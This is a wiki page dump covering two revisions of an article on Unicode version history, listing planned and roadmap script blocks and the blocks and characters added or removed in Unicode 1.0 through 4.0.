* White Ideographic Comma and Double Ideographic Full Stop (total 2 characters) will be added to '''Ideographic Symbols and Punctuation'''. (U+16FE5-U+16FE6)&lt;!--target: 19.0--&gt;
* Alchemical Symbol for Calx-2 and Alchemical Symbol for Retort-2 (total 2 characters) will be added to '''Miscellaneous Symbols Supplement'''. (U+1CED1, U+1CED5)&lt;!--target: 19.0--&gt;
* Musical Symbol down arrowhead breath mark (total 1 character) will be added to '''Musical Symbols Supplement'''. (U+1D282)
* Small w with palatal hook, small n and r with double middle tilde, small capital i with retroflex hook, small open q, x with stroke, small wavy y, schwa with right hook, Romance dialectology symbols, zh ligature, Albanian letter edhe, Albanian Frashëri letters, Modifier letter capital y, and modifier letter accents (total 26 characters) will be added to '''Latin Extended-G'''. (U+1DF82-U+1DF8F, U+1DF97-U+1DFA3, U+1DFC4-U+1DFCC)&lt;!--1DF82-1DF8A, 1DFC5-1DFCC target: 19.0--&gt;
*Arabic Astronomical zero and five astronomical symbols (total 6 characters) will be added to Arabic Mathematical Alphabetic Symbols (U+1EEE0-U+1EEE5)

==Roadmap Blocks==
This is a section where proportional maps of proposed allocations to Unicode and ISO/IEC 10646 are presented. Italic indicates scripts for which detailed proposals have not yet been written.&lt;ref&gt;[https://unicode.org/roadmaps/smp/]&lt;/ref&gt;

* '''Northern Palaeohispanic''' (U+10200-U+1023F)
* '''Southern Palaeohispanic''' (U+10240-U+1027F)
* '''''Shavian Quikscript''' (U+103E0-U+103FF)''
* '''Combining Diacritical Marks Extended-A''' (U+107C0-U+107FF)
* '''Proto-Sinaitic''' (U+108B0-U+108DF)
* '''''Numidian''' (U+10960-U+1097F)''
* '''Balti''' (U+10AA0-U+10ABF)
* '''Book Pahlavi''' (U+10BB0-U+10BDF)
* '''Baburi''' (U+10BE0-U+10BFF)
* '''Arabic Extended-D''' (U+10D90-U+10E5F)
* '''Landa''' (U+11250-U+1127F)
* '''Tani Lipi''' (U+114E0-U+114FF)
* '''Ranjana''' (U+11500-U+1157F)
* '''Zou''' (U+11750-U+117AF)
* '''Pyu''' (U+117B0-U+117FF)
* '''Vateluttu''' (U+11960-U+1199F)
* '''Balti-B''' (U+11CC0-U+11CFF)
* '''Tocharian''' (U+11E00-U+11E6F)
* '''Khotanese''' (U+11E70-U+11ECF)
* '''Pallava''' (U+11F60-U+11FAF)
* '''''Egyptian Hieroglyphs Extended-B''' (U+14680-U+151FF)''
* '''Mayan Hieroglyphs''' (U+15500-U+15AFF)
* '''Kore Sebeli''' (U+15B00-U+15B6F)
* '''Mandombe''' (U+15B80-U+15FFF)
* '''Wei Rma''' (U+16000-U+1604F)
* '''Wagindara''' (U+16050-U+1607F)
* '''Kurukh Banna''' (U+16140-U+1618F)
* '''Moon''' (U+161A0-U+161FF)
* '''Blissymbols''' (U+16200-U+167FF)
* '''Woleai''' (U+16B90-U+16BFF)
* '''Kpelle''' (U+16C00-U+16C7F)
* '''Tikamuli''' (U+16C80-U+16CBF)
* '''Tangsa (Khimhun)''' (U+16CD0-U+16CFF)
* '''Afaka''' (U+16D00-U+16D3F)
* '''Kulitan''' (U+16DD0-U+16DFF)
* '''''Bopomofo Extended-A''' (U+16FA0-U+16FAF)''
* '''Kanbun Extended-A''' (U+16FB0-U+16FDF)
* '''Khitan Large Script''' (U+19200-U+199FF)
* '''Pau Cin Hau Syllabary''' (U+19E00-U+1A2FF)
* '''Eskaya''' (U+1A300-U+1A75F)
* '''Rejang Extended''' (U+1A760-U+1A77F)
* '''''Kaida''''' (U+1A780-U+1A7FF)
* '''Naxi Dongba''' (U+1A800-U+1ACFF)
* '''''Naxi Geba''' (U+1AD00-U+1AFCF)''
* '''''Kana Extended-C''' (U+1AFD0-U+1AFEF)''
* '''Shuishu Logograms''' (U+1B300-U+1B5FF)
* '''Lisu Syllabic Script''' (U+1B600-U+1B9FF)
* '''Indus''' (U+1BA00-U+1BB8F)
* '''Pitman Shorthand''' (U+1BCB0-U+1BCFF)
* '''Proto-Elamite''' (U+1BE00-U+1C37F)
* '''Linear Elamite''' (U+1C380-U+1C4FF)
* '''Ndiko Jonam''' (U+1CB30-U+1CB7F)
* '''N&lt;nowiki&gt;'&lt;/nowiki&gt;ti''' (U+1CB80-U+1CBAF)
* '''Old Chinese Musical Symbols (Flute and Pipa)''' (U+1D290-U+1D2BF)
* '''''Mathematical Alphanumeric Symbols Supplement''' (U+1D380-U+1D3FF)''
* '''Jianzi Format Controls''' (U+1DAE0-U+1DAFF)
* '''Eebee Hmong''' (U+1E150-U+1E1FF)
* '''Western Cham''' (U+1E200-U+1E26F)
* '''Loma''' (U+1E300-U+1E41F)
* '''Bagam''' (U+1E420-U+1E4CF)
* '''Pungchen''' (U+1E500-U+1E52F)
* '''''Pungchung''' (U+1E530-U+1E55F)''
* '''''Marchung''' (U+1E560-U+1E59F)''
* '''Brusha''' (U+1E5A0-U+1E5CF)
* '''''Chola''' (U+1E600-U+1E65F)''
* '''Box-Headed''' (U+1E660-U+1E6BF)
* '''Lampung''' (U+1E700-U+1E73F)
* '''Kerinci''' (U+1E740-U+1E76F)
* '''Buginese Supplement''' (U+1E770-U+1E7BF)
* '''''Lontara Bilang-Bilang''' (U+1E7C0-U+1E7DF)''
* '''N'Ko Supplement''' (U+1E960-1E97F)
* '''''Byblos''''' (U+1EB90-U+1EBFF)
* '''Persian Siyaq Numbers''' (U+1EC00-U+1EC7F)
* '''Diwani Siyaq Numbers''' (U+1ECC0-U+1ECFF)
* '''''Extended Pictographic Characters''' (U+1FC00-U+1FFFF)''

== References ==
{{reflist}}</text>
      <sha1>bs636whzknsnfd1f4g0t1mzh7tte4eo</sha1>
    </revision>
    <revision>
      <id>4670528</id>
      <parentid>4670524</parentid>
      <timestamp>2026-09-17T01:07:37Z</timestamp>
      <contributor>
        <username>Alexlatham96</username>
        <id>377450</id>
      </contributor>
      <comment>/* Removed characters */</comment>
      <origin>4670528</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="131820" sha1="0mqpnl9afz03tca7yjxh9c2pxdk7kk1" xml:space="preserve">{{pp-protected|small=yes}}
{{Unicode page}}
{{TOC right}}
{{refimprove|date=June 2017}}
This page is about each version specification, and the differences between the versions.

== Unicode 1.0 ==

Unicode 1.0 was the first version of Unicode, released October 1991. It encoded 7,094 new characters.

=== “Blocks” ===
This version of Unicode did not formally group characters in blocks. But in comparison with version 2.0, the following “blocks” were available:
U+0000-U+FFFD
51 Blocks
* '''Basic Latin (formerly called ASCII)''' (U+0000-U+007F), containing 128 characters.
* '''Latin-1 Supplement (formerly called Latin1)'''  (U+0080-U+00FF), containing 128 characters.
* '''Latin Extended-A''' '''(formerly called European Latin)''' (U+0100-U+017F), containing 127 characters.
* '''Latin Extended-B''' '''(formerly called Extended Latin)''' (U+0180-U+01FF), containing 113 characters.
* '''IPA Extensions''' '''(formerly called Standard Phonetic)''' (U+0250-U+02AF), containing 89 characters.
* '''Spacing Modifier Letters''' '''(formerly called Modifier Letters)''' (U+02B0-U+02FF), containing 57 characters.
* '''Combining Diacritical Marks''' '''(formerly called Generic Diacritical Marks)''' (U+0300-U+036F), containing 66 characters.
* '''Greek and Coptic''' '''(formerly called Greek)''' (U+0370-U+03FF), containing 112 characters.
* '''Cyrillic''' (U+0400-U+04FF), containing 192 characters.
* '''Armenian''' (U+0530-U+058F), containing 84 characters.
* '''Hebrew''' (U+0590-U+05FF), containing 52 characters.
* '''Arabic''' (U+0600-U+06FF), containing 169 characters.
* '''Devanagari''' (U+0900-U+097F), containing 104 characters.
* '''Bengali''' (U+0980-U+09FF), containing 89 characters.
* '''Gurmukhi''' (U+0A00-U+0A7F), containing 74 characters.
* '''Gujarati''' (U+0A80-U+0AFF), containing 75 characters.
* '''Oriya''' (U+0B00-U+0B7F), containing 78 characters.
* '''Tamil''' (U+0B80-U+0BFF), containing 61 characters.
* '''Telugu''' (U+0C00-U+0C7F), containing 80 characters.
* '''Kannada''' (U+0C80-U+0CFF), containing 80 characters.
* '''Malayalam''' (U+0D00-U+0D7F), containing 78 characters.
* '''Thai''' (U+0E00-U+0E7F), containing 92 characters.
* '''Lao''' (U+0E80-U+0EFF), containing 70 characters.
* '''Tibetan''' (U+1000-U+105F), containing 71 characters.
* '''Georgian''' (U+10A0-U+10FF), containing 78 characters.
* '''General Punctuation''' (U+2000-U+206F), containing 67 characters.
* '''Superscripts and Subscripts''' (U+2070-U+209F), containing 28 characters.
* '''Currency Symbols''' (U+20A0-U+20CF), containing 11 characters.
* '''Combining Marks for Symbols''' '''(formerly called Diacritical Marks for Symbols)''' (U+20D0-U+20FF), containing 18 characters.
* '''Letterlike Symbols''' (U+2100-U+214F), containing 57 characters.
* '''Number Forms''' (U+2150-U+218F), containing 48 characters.
* '''Arrows''' (U+2190-U+21FF), containing 91 characters.
* '''Mathematical Operators''' (U+2200-U+22FF), containing 242 characters.
* '''Miscellaneous Technical''' (U+2300-U+23FF), containing 43 characters.
* '''Control Pictures''' '''(formerly called Pictures for Control Codes)''' (U+2400-U+243F), containing 37 characters.
* '''Optical Character Recognition''' (U+2440-U+245F), containing 11 characters.
* '''Enclosed Alphanumerics''' (U+2460-U+24FF), containing 139 characters.
* '''Box Drawing''' '''(formerly called Form and Chart Components)''' (U+2500-U+257F), containing 128 characters.
* '''Block Elements''' '''(formerly called Blocks)''' (U+2580-U+259F), containing 22 characters.
* '''Geometric Shapes''' (U+25A0-U+25FF), containing 79 characters.
* '''Miscellaneous Symbols''' '''(formerly called Miscellaneous Dingbats)''' (U+2600-U+26FF), containing 106 characters.
* '''Dingbats''' '''(formerly called Zapf Dingbats)''' (U+2700-U+27BF), containing 160 characters.
* '''CJK Symbols and Punctuation''' (U+3000-U+303F), containing 56 characters.
* '''Hiragana''' (U+3040-U+309F), containing 90 characters.
* '''Katakana''' (U+30A0-U+30FF), containing 90 characters.
* '''Bopomofo''' (U+3100-U+312F), containing 40 characters.
* '''Hangul Compatibility Jamo (formerly called Hangul Elements)''' (U+3130-U+318F), containing 94 characters.
* '''Kanbun (formerly called CJK Miscellaneous)''' (U+3190-U+31FF), containing 16 characters.
* '''Enclosed CJK Letters and Months''' '''(formerly called''' '''Enclosed CJK Letters and Ideographs)''' (U+3200-U+32FF), containing 191 characters.
* '''CJK Compatibility''' '''(formerly called CJK Squared Words for U+3300-U+337F and CJK Squared Abbreviations for U+3380-33FF)''' (U+3300-U+33FF), containing 187 characters.
* '''Hangul''' (U+3400-U+3D2D), containing 2,350 characters.
* '''Private Use Area''' (U+E000-U+FDFF), reserved for 5,632 characters.
* '''CJK Compatibility Forms''' '''(formerly called CNS 11643 Compatibility)''' (U+FE30-U+FE4F), containing 28 characters.
* '''Small Form Variants''' '''(formerly called Small Variants)''' (U+FE50-U+FE6F), containing 26 characters.
* '''Arabic Presentation Forms-B''' '''(formerly called Basic Glyphs for Arabic Language)''' (U+FE70-U+FEFF), containing 140 characters.
* '''Halfwidth and Fullwidth Forms''' '''(formerly called Halfwidth and Fullwidth Variants)''' (U+FF00-U+FFEF), containing 216 characters.
* '''Specials''' '''(formerly called Special)''' (U+FFF0-U+FFFF), containing 1 character.

== Unicode 1.0.1 ==
Unicode 1.0.1 was released June 1992. It encoded 28,292 characters, adding 21,204 new characters and removing 6 characters, for a net increase of 21,198 characters.

=== New blocks ===

* '''CJK Unified Ideographs''' (U+4E00-U+9FFF), containing 20,902 Han Ideographs for Chinese, Japanese and Korean, was added.
* '''CJK Compatibility Ideographs''' (U+F900-U+FAFF), containing 302 Han Ideographs for compatibility with existing character sets, was added.

=== Removed characters ===
* Letters Ka and Kha with Ogonek (total 4 characters) were removed from '''Cyrillic'''. (U+04C5-U+04C6 and U+04C9-U+04CA)
* APL Compose Operator and APL Out (total 2 characters) were removed from '''Miscellaneous Technical'''. (U+2300-U+2301)

=== Rearranged characters ===
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)
*'''Circled Katakana:''' ''The characters well be arranged in modern order: e.g., A, I, U, E, O, KA, KI'' (U+32D0-U+32FE)
*'''Basic Glyphs For Arabic Language:''' ''The character shapes will be arranged in different order: Isolate, Final, Initial and Medial'' (U+FE80-FEFC)

=== Characters with semantics changed ===
*'''Zero Width Non-Joiner''' [ZWNJ] (U+20DC)

*'''Zero Width Joiner''' [ZWJ] (U+20DD)

== Unicode 1.1 ==

Unicode 1.1 was released June 1993. It encoded 34,168 characters, adding 5,969 new characters and removing 93 characters, for a net increase of 5,876 characters. It finalized the long anticipated Han Unification.

=== New blocks ===

* '''Hangul Jamo''' (U+1100-U+11FF), containing 240 ''jamo'' for the Hangul script, was added.
* '''Latin Extended Additional''' (U+1E00-U+1EFF), containing 245 precomposed characters for transliteration and Vietnamese, was added.
* '''Greek Extended''' (U+1F00-U+1FFF), containing 233 precomposed characters for polytonic Greek, was added.
* '''Hangul Supplementary-A''' (U+3D2E-U+44B7), containing 1,930 precomposed syllables for the Hangul script, was added.
* '''Hangul Supplementary-B''' (U+44B8-U+4DFF), containing 2,376 precomposed syllables for the Hangul script, was added.
* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 57 precomposed characters and ligatures, was added.
* '''Arabic Presentation Forms-A''' (U+FB50-U+FDFF), containing 593 combinations of Arabic letters, was added.
* '''Combining Half Marks''' (U+FE20-U+FE2F), containing 4 halves of diacritical marks, was added.

=== Extended blocks ===

* The long S (ſ) (total 1 character) was added to '''Latin Extended-A'''. (U+017F)
* The Hungarian Dz, characters for transliteration purposes and precomposed characters with double grave and inverted breve (total 35 characters) were added to '''Latin Extended-B''' (U+01F1-U+01F5 and U+01FA-U+0217). The block was expanded from (U+0180-U+01FF) to (U+0180-U+024F)
* Diacritics for polytonic Greek and double width diacritics (total 6 characters) were added to '''Combining Diacritical Marks'''. (U+0342-U+0345 and U+0360-U+0361)
* Compatibility character now deprecated, Ano Teleia, and other characters (total 5 characters) were added to '''Greek and Coptic''' (U+0374-U+0375, U+037A, U+037E and U+0387).
* Additional characters for non-Slavic languages (total 38 characters) were added to '''Cyrillic'''. (U+04D0-U+04EB, U+04EE-U+04F5 and U+04F8-U+04F9)
* A ligature of Ech and Yiwn (և) (total 1 character) was added to '''Armenian'''. (U+0587)
* One deprecated compatibility character and several characters for biblical texts (total 25 characters) were added to '''Arabic'''. (U+066D and U+06D6-U+06ED)
* A sign Virama (total 1 character) was added to '''Gurmukhi''' (U+0A4D).
* Letters Candra O and E (total 3 characters) were added to '''Gujarati'''. (U+0A8D, U+0A91 and U+0AC9)
* An Ai Length mark (total 1 character) was added to '''Oriya'''. (U+0B56)
* An undertie, a pair of brackets and six formatting characters now deprecated (total 9 characters) were added to '''General Punctuation'''. (U+203F, U+2045-U+2046 and U+206A-U+206F)
* Some additional symbols and the complete set of APL functional symbols (total 79 characters) were added to '''Miscellaneous Technical'''. (U+2300 and U+232D-U+237A)
* A large circle (◯) (total 1 character) was added to '''Geometric Shapes'''. (U+25EF)
* The ideographic telegraph line feed separator symbol (〷) (total 1 character) was added to '''CJK Symbols and Punctuation'''. (U+3037)
* Four Katakana letters not in use since 1945 (total 4 characters) were added to '''Katakana'''. (U+30F7-U+30FA)
* Ideographic telegraph symbols for the twelve months (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+32C0-U+32CB)
* Ideographic telegraph symbols for hours and days and six additional measure units (total 62 characters) were added to '''CJK Compatibility'''. (U+3358-U+3376 and U+33E0-U+33FE)
* Some more space (total 2,304 characters) was added to the '''Private Use Area'''.
* Seven halfwidth geometric shapes (total 7 characters) were added to '''Halfwidth and Fullwidth Forms'''. (U+FFE8-U+FFEE)

=== Removed blocks ===
* '''Tibetan''', containing 71 letters for the Tibetan script, was removed from the Unicode standard.

=== Removed characters ===
* A total of 10 characters were removed from '''Greek and Coptic'''. (U+0370-U+0372, U+03D7-U+03D9, U+03DB, U+03DD, U+03DF, and U+03E1)
* Point Varika (total 1 character) was removed from '''Hebrew'''. (U+05F5)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Thai'''. (U+0E70-U+0E74)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Lao'''. (U+0EF0-U+0EF4)
* An Ideographic Ditto Mark (total 1 character) was removed from '''CJK Symbols and Punctuation''' (U+3004) and merged with CJK Unified Ideograph-4EDD.

=== Rearranged characters ===
* Greek character U+03F3 was changed from Spacing Tonos to Letter Yot.
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)

== Unicode 2.0 ==

Unicode 2.0 was released July 1996. It encoded 38,885 characters, adding 11,373 new characters and removing 6,656 characters, for a net increase of 4,717 characters. This was the first Unicode version to reserve blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Hangul Syllables''' (U+AC00-U+D7AF), containing 11,172 precomposed syllables for the Hangul script, was added.
* '''High Surrogates''' (U+D800-U+DB7F), setting aside 896 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''High Private Use Surrogates''' (U+DB80-U+DBFF), setting aside 128 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Low Surrogates''' (U+DC00-U+DFFF), setting aside 1,024 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Supplementary Private Use Area-A''' (U+F0000-U+FFFFF), reserving 65,534 characters for private use, was added.
* '''Supplementary Private Use Area-B''' (U+100000-U+10FFFF), reserving 65,534 characters for private use, was added.

=== Reinstated blocks ===

* '''Tibetan''' (U+0F00-U+0FFF), now containing 168 characters for the Tibetan script including religious signs, was readded.

=== Removed blocks ===

* '''Hangul''', containing 2,350 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-A''', containing 1,930 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-B''', containing 2,376 precomposed syllables for the Hangul script, was removed from the Unicode standard.

=== Extended blocks ===

* Cantillation marks for use in religious texts (total 31 characters) were added to '''Hebrew'''. (U+0591-U+05A1, U+05A3-U+05AF and U+05C4)
* A long S with Dot Above (total 1 character) was added to '''Latin Extended Additional'''. (U+1E9B)
* A Vietnamese Dong sign (total 1 character) was added to '''Currency Symbols'''. (U+20AB)

== Unicode 2.1 ==

Unicode 2.1 was released May 1998. It encoded 38,887 characters, adding only 2 new characters.

=== Extended blocks ===

* A Euro sign (total 1 character) was added to '''Currency Symbols'''. (U+20AC)
* An Object Replacement Character (total 1 character) was added to '''Specials'''. (U+FFFC)

== Unicode 3.0 ==

Unicode 3.0 was released September 1999. It was a big update and encoded 49,194 characters, adding 10,307 new characters.

=== New blocks ===

* '''Syriac''' (U+0700-U+074F), containing 71 characters used for writing in Syriac script, was added.
* '''Thaana''' (U+0780-U+07BF), containing 49 characters used for writing in Thaana script, was added.
* '''Sinhala''' (U+0D80-U+0DFF), containing 80 characters for the Sinhala script, was added.
* '''Myanmar''' (U+1000-U+109F), containing 78 characters for the Burmese script, was added.
* '''Ethiopic''' (U+1200-U+137F), containing 345 syllables and punctuation marks for the Ethiopic script, was added.
* '''Cherokee''' (U+13A0-U+13FF), containing 85 syllables for the Cherokee script, was added.
* '''Unified Canadian Aboriginal Syllabics''' (U+1400-U+167F), containing 630 syllables and punctuation marks for writing in indigenous languages of Canada, was added.
* '''Ogham''' (U+1680-U+169F), containing 29 characters for the ancient Ogham script, was added.
* '''Runic''' (U+16A0-U+16FF), containing 81 characters for the Germanic runes, was added.
* '''Khmer''' (U+1780-U+17FF), containing 103 characters for the Khmer script, was added.
* '''Mongolian''' (U+1800-U+18AF), containing 155 characters for the classical Mongolian script, was added.
* '''Braille Patterns''' (U+2800-U+28FF), containing 256 Braille letters, was added.
* '''CJK Radicals Supplement''' (U+2E80-U+2EFF), containing 115 non-Kangxi radicals, was added.
* '''Kangxi Radicals''' (U+2F00-U+2FDF), containing 214 radicals from the Kangxi dictionary, was added.
* '''Ideographic Description Characters''' (U+2FF0-U+2FFF), containing 12 characters used to describe a Han ideograph not available in the font, was added.
* '''Bopomofo Extended''' (U+31A0-U+31BF), containing 24 characters used for phonetic transcription of minority languages of Taiwan, was added.
* '''CJK Unified Ideographs Extension A''' (U+3400-U+4DBF), containing 6,582 additional Han Ideographs, was added.
* '''Yi Syllables''' (U+A000-U+A48F), containing 1,165 syllables of the modern Yi script, was added.
* '''Yi Radicals''' (U+A490-U+A4CF), containing 50 radicals of Yi Syllables, was added.

=== Extended blocks ===

* Additional precomposed characters, letters and capital letters of lowercase-only letters (total 30 characters) were added to '''Latin Extended-B'''. (U+01F6-U+01F9, U+0218-U+021F and U+0222-U+0233)
* Extensions for disordered speech (total 5 characters) were added to '''IPA Extensions'''. (U+02A9-U+02AD)
* Some additional modifier letters (total 6 characters) were added to '''Spacing Modifier Letters'''. (U+02DF and U+02EA-U+02EE)
* Additional combining diacritics for IPA (total 10 characters) were added to '''Combining Diacritical Marks'''. (U+0346-U+034E and U+0362)
* Lowercase versions of archaic letters and the Kai symbol (total 5 characters) were added to '''Greek and Coptic'''. (U+03D7, U+03DB, U+03DD, U+03DF and U+03E1)
* Nonstandard letters for Macedonian, combining numeral signs and three letters for Kildin Sami (total 12 characters) were added to '''Cyrillic'''. (U+0400, U+040D, U+0450, U+045D, U+0488-U+0489, U+048C-U+048F and U+04EC-U+04ED)
* A Hyphen (total 1 character) was added to '''Armenian'''. (U+058A)
* Combining hamza and maddah and nine additional Arabic characters (total 12 characters) were added to '''Arabic'''. (U+0653-U+0655, U+06B8-U+06B9, U+06BF, U+06CF and U+06FA-U+06FE)
* Additional letters and religious symbols (total 25 characters) were added to '''Tibetan'''. (U+0F6A, U+0F96, U+0FAE-U+0FB0, U+0FB8, U+0FBA-U+0FBC, U+0FBE-U+0FCC and U+0FCF)
* A narrow no-break space and 6 additional punctuation marks (total 7 characters) were added to '''General Punctuation'''. (U+202F and U+2048-U+204D)
* The Kip, Tugrik and Drachma sign (total 3 characters) were added to '''Currency Symbols'''. (U+20AD-U+20AF)
* An enclosing screen and an enclosing key (total 2 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E2-U+20E3)
* The information symbol and a rotated Q (total 2 characters) were added to '''Letterlike Symbols'''. (U+2139-U+213A)
* A mirrored Roman capital numeral hundred (Ↄ) (total 1 character) was added to '''Number Forms'''. (U+2183)
* Some additional arrows (total 9 characters) were added to '''Arrows'''. (U+21EB-U+21F3)
* Some additional technical symbols, including common keys on a 101 keyboard (total 33 characters) were added to '''Miscellaneous Technical'''. (U+2301, U+237B and U+237D-U+239A)
* Two additional control pictures (total 2 characters) were added to '''Control Pictures'''. (U+2425-U+2426)
* Squares and circles with quadrants (total 8 characters) were added to '''Geometric Shapes'''. (U+25F0-U+25F7)
* Two Syriac crosses and a signature mark (total 3 characters) were added to '''Miscellaneous Symbols'''. (U+2619 and U+2670-U+2671)
* Three Hangzhou numerals and a variation indicator (total 4 characters) were added to '''CJK Symbols and Punctuation'''. (U+3038-U+303A and U+303E)
* A ligature Yod with Hiriq (יִ) (total 1 character) was added to '''Alphabetic Presentation Forms'''. (U+FB1D)
* Three additional control characters for ruby markup (total 3 characters) were added to '''Specials'''. (U+FFF9-U+FFFB)

== Unicode 3.1 ==

Unicode 3.1 was released March 2001. It encoded 94,140 characters, adding 44,946 new characters, and mainly focused on blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Old Italic''' (U+10300-U+1032F), containing 35 letters for the Etruscan script, was added.
* '''Gothic''' (U+10330-U+1034F), containing 27 letters for the Gothic script, was added.
* '''Deseret''' (U+10400-U+1044F), containing 76 letters for the constructed Deseret script, was added.
* '''Byzantine Musical Symbols''' (U+1D000-U+1D0FF), containing 246 symbols for musical notation in Byzantine, was added.
* '''Musical Symbols''' (U+1D100-U+1D1FF), containing 219 characters for current musical notation, was added.
* '''Mathematical Alphanumeric Symbols''' (U+1D400-U+1D7FF), containing 991 Latin and Greek letters in serif, sans-serif, bold, italic, double-struck, script and Fraktur/Blackletter, was added.
* '''CJK Unified Ideographs Extension B''' (U+20000-U+2A6DF), containing 42,711 additional Chinese Ideographs, was added.
* '''CJK Compatibility Ideographs Supplement''' (U+2F800-U+2FA1F), containing 542 additional Chinese Ideographs for compatibility purposes, was added.
* '''Tags''', containing 97 language tags, was added. (U+E0000-U+E007F)

=== Extended noncharacters ===

* The Noncharacters range: U+FDD0..U+FDEF were added to '''Arabic Presentation Forms-A'''.

=== Extended blocks ===

* The capital Theta symbol and the Lunate Epsilon symbol (total 2 characters) were added to '''Greek and Coptic'''. (U+03F4-U+03F5)

=== Characters and Scripts Under Investigation or Rejected ===
* Khmer Sign Laak Was Rejected. (U+17DD) From '''Khmer.'''
* Georgian Letter U-Brjuu Was Rejected. From '''Georgian.'''

== Unicode 3.2 ==

Unicode 3.2 was released March 2002. It encoded 95,156 characters, adding 1,016 new characters.

=== New blocks ===

* '''Cyrillic Supplementary (now Cyrillic Supplement)''' (U+0500-U+052F), containing 16 characters used for the Komi language, was added.
* '''Tagalog''' (U+1700-U+171F), containing 20 characters for the Baybayin script, was added.
* '''Hanunoo''' (U+1720-U+173F), containing 23 characters and punctuation for the Hanunó'o script, was added.
* '''Buhid''' (U+1740-U+175F), containing 20 characters for the Buhid script, was added.
* '''Tagbanwa''' (U+1760-U+177F), containing 18 characters for the Tagbanwa script, was added.
* '''Miscellaneous Mathematical Symbols-A''' (U+27C0-U+27EF), containing 28 symbols used in math notation, was added.
* '''Supplemental Arrows-A''' (U+27F0-U+27FF), containing 16 additional arrows, was added.
* '''Supplemental Arrows-B''' (U+2900-U+297F), containing 128 special arrows, was added.
* '''Miscellaneous Mathematical Symbols-B''' (U+2980-U+29FF), containing 128 additional mathematical symbols, was added.
* '''Supplemental Mathematical Operators''' (U+2A00-U+2AFF), containing 256 additional mathematical operators, was added.
* '''Katakana Phonetic Extensions''' (U+31F0-U+31FF), containing 16 Katakana letters used for Ainu, was added.
* '''Variation Selectors''' (U+FE00-U+FE0F), containing 16 symbols used for indicating variations, was added.

=== Extended blocks ===

* A capital letter N with Long Right Leg (total 1 character) was added to '''Latin Extended-B'''. (U+0220)
* The combining grapheme joiner and combining Latin letters used in medieval texts (total 14 characters) were added to '''Combining Diacritical Marks'''. (U+034F and U+0363-U+036F)
* The Qoppa and a reversed lunate epsilon symbol (total 3 characters) were added to '''Greek and Coptic'''. (U+03D8-U+03D9 and U+03F6)
* Four additional letters used for the Kildin Sami language (total 8 characters) were added to '''Cyrillic'''. (U+048A-U+048B, U+04C5-U+04C6, U+04C9-U+04CA and U+04CD-U+04CE)
* A dotless Beh and a dotless Qaf (total 2 characters) were added to '''Arabic'''. (U+066E-U+066F)
* A Letter for Addu dialect (total 1 character) was added to '''Thaana'''. (U+07B1)
* The letters Yn and Elifi (total 2 characters) were added to '''Georgian'''. (U+10F7-U+10F8)
* Some additional punctuation marks and control characters (total 12 characters) were added to '''General Punctuation'''. (U+2047, U+204E-U+2052, U+2057 and U+205F-U+2063)
* A superscript letter I (total 1 character) was added to '''Superscripts and Subscripts'''. (U+2071)
* German Penny and Peso sign (total 2 characters) were added to '''Currency Symbols'''. (U+20B0-U+20B1)
* Some additional combining characters (total 7 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E4-U+20EA)
* Some double-struck and reversed/turned letters (total 15 characters) were added to '''Letterlike Symbols'''. (U+213D-U+214B)
* Some additional arrows (total 12 characters) were added to '''Arrows'''. (U+21F4-U+21FF)
* Some additional mathematical operators (total 14 characters) were added to '''Mathematical Operators'''. (U+22F2-U+22FF)
* Variable-width and additional symbols (total 53 characters) were added to '''Miscellaneous Technical'''. (U+237C and U+239B-U+23CE)
* Black and double circled numerals (total 20 characters) were added to '''Enclosed Alphanumerics'''. U+24EB-U+24FE)
* Quadrant elements (total 10 characters) were added to '''Block Elements'''. (U+2596-U+259F)
* Some additional triangles and squares (total 8 characters) were added to '''Geometric Shapes'''. (U+25F8-U+25FF)
* Shogi pieces ,recycling symbols, dices and dotted circles (total 24 characters) were added to '''Miscellaneous Symbols'''. (U+2616-U+2617, U+2672-U+267D and U+2680-U+2689)
* Additional parenthesis (total 14 characters) were added to '''Dingbats'''. (U+2768-U+2775)
* Three additional marks (total 3 characters) were added to '''CJK Symbols and Punctuation'''. (U+303B-U+303D)
* A digraph and two additional characters (total 3 characters) were added to '''Hiragana'''. (U+3095-U+3096 and U+309F)
* A digraph and a double hyphen (total 2 characters) were added to '''Katakana'''. (U+30A0 and U+30FF)
* Additional circled numerals (total 30 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3251-U+325F and U+32B1-U+32BF
* Five missing radicals (total 5 characters) were added to '''Yi Radicals'''. (U+A4A2-U+A4A3, U+A4B4, U+A4C1, U+A4C5)
* Additional compatibility characters (total 59 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA30-U+FA6A)
* A Rial sign (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFC)
* Two sesame dots (total 2 characters) were added to '''CJK Compatibility Forms'''. (U+FE45-U+FE46)
* A tail fragment (total 1 character) was added to '''Arabic Presentation Forms-B'''. (U+FE73)
* A pair of double parenthesis (total 2 characters) was added to '''Halfwidth and Fullwidth Forms'''. (U+FF5F-U+FF60)

== Unicode 4.0 ==

Unicode 4.0 was released April 2003. It encoded 96,382 characters, adding 1,226 new characters.

=== New blocks ===

* '''Limbu''' (U+1900-U+194F), containing 66 characters for the Limbu abugida, was added.
* '''Tai Le''' (U+1950-U+197F), containing 35 letters for the Tai Le script, was added.
* '''Khmer Symbols''' (U+19E0-U+19FF), containing 32 symbols for the lunar calendar, was added.
* '''Phonetic Extensions''' (U+1D00-U+1D7F), containing 108 letters used in phonetic transcription, was added.
